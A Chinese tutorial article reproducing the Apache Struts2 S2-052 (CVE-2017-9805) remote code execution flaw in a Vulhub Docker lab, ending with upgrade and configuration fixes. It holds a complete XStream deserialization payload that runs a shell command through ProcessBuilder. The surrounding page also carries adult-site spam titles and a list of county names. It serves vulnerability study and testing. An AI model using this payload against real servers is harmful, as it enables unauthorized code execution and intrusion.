中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何實現Apache Struts2--052遠程代碼執行漏洞復現

發布時間:2022-01-15 10:19:37 來源:億速云 閱讀:175 作者:柒染 欄目:安全技術

這篇文章的內容主要圍繞如何實現Apache Struts2--052遠程代碼執行漏洞復現進行講述,文章內容清晰易懂,條理清晰,非常適合新手學習,值得大家去閱讀。感興趣的朋友可以跟隨小編一起閱讀吧。希望大家通過這篇文章有所收獲!

0x00漏洞簡述

2017年9月5日,Apache Struts發布最新的安全公告,Apache Struts 2.5.x的REST插件存在遠程代碼執行的高危漏洞,漏洞編號為CVE-2017-9805(S2-052)。漏洞的成因是由于使用XStreamHandler反序列化XStream實例的時候沒有任何類型過濾導致遠程代碼執行

0x01影響版本

Apache Struts 2.5 – Struts 2.5.12

Apache Struts 2.1.2 – Struts 2.3.33

0x02漏洞復現

虛擬機部署docker安裝Vulhub一鍵搭建漏洞測試靶場環境。

docker-compose up -d

1、訪問漏洞環境

http://192.168.60.131:8080/orders.xhtml

如何實現Apache Struts2--052遠程代碼執行漏洞復現

2、通過編輯進行POST數據的修改

如何實現Apache Struts2--052遠程代碼執行漏洞復現

3、該rest-plugin會根據URI擴展名或 Content-Type來判斷解析文件方式, 需要修改xhtml或修改Content-Type頭為application/xml,即可在Body中傳遞XML數據。

4、抓包對Content-Type類型修改

如何實現Apache Struts2--052遠程代碼執行漏洞復現

5、XML格式Payload數據包構造

<map>

<entry>

<jdk.nashorn.internal.objects.NativeString>

<flags>0</flags>

<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

<dataHandler>

<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

<is class="javax.crypto.CipherInputStream">

<cipher class="javax.crypto.NullCipher">

<initialized>false</initialized>

<opmode>0</opmode>

<serviceIterator class="javax.imageio.spi.FilterIterator">

<iter class="javax.imageio.spi.FilterIterator">

<iter class="java.util.Collections$EmptyIterator"/>

<next class="java.lang.ProcessBuilder">

<command>

<string>touch</string>

<string>/tmp/yunzui.txt</string>

</command>

<redirectErrorStream>false</redirectErrorStream>

</next>

</iter>

<filter class="javax.imageio.ImageIO$ContainsFilter">

<method>

<class>java.lang.ProcessBuilder</class>

<name>start</name>

<parameter-types/>

</method>

<name>foo</name>

</filter>

<next class="string">foo</next>

</serviceIterator>

<lock/>

</cipher>

<input class="java.lang.ProcessBuilder$NullInputStream"/>

<ibuffer/>

<done>false</done>

<ostart>0</ostart>

<ofinish>0</ofinish>

<closed>false</closed>

</is>

<consumed>false</consumed>

</dataSource>

<transferFlavors/>

</dataHandler>

<dataLen>0</dataLen>

</value>

</jdk.nashorn.internal.objects.NativeString>

<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

</entry>

<entry>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

</entry>

</map>

6、通過payload進行漏洞利用,執行命令,返回響應500狀態碼,但是執行成功。

touch /tmp/yunzui.txt

如何實現Apache Struts2--052遠程代碼執行漏洞復現

7、命令執行結果進入docker查看,成功執行。

docker-compose exec struts2 bash

ls -al /tmp

如何實現Apache Struts2--052遠程代碼執行漏洞復現

0x03修復建議

1、升級Apache struts 2.5.13或2.3.34版本

2、如果系統沒有使用Struts REST插件,那么可以直接刪除Struts REST插件,或者在配置文件中加入如下代碼,限制服務端文件的擴展名

<constant name="struts.action.extension" value="xhtml,,json" />

3、限制服務端擴展類型,刪除XML支持

感謝你的閱讀,相信你對“如何實現Apache Struts2--052遠程代碼執行漏洞復現”這一問題有一定的了解,快去動手實踐吧,如果想了解更多相關知識點,可以關注億速云網站!小編會繼續為大家帶來更好的文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

连州市| 迁西县| 美姑县| 白水县| 宽甸| 胶南市| 乌拉特前旗| 山东省| 介休市| 津市市| 特克斯县| 绩溪县| 茶陵县| 万山特区| 秦皇岛市| 安达市| 锡林郭勒盟| 黑河市| 方正县| 沾化县| 铁岭县| 迁安市| 榆林市| 武夷山市| 霍林郭勒市| 嘉定区| 和田县| 天全县| 阿尔山市| 平定县| 潮安县| 靖江市| 增城市| 霍城县| 龙海市| 封开县| 乌兰县| 馆陶县| 兴城市| 华安县| 驻马店市|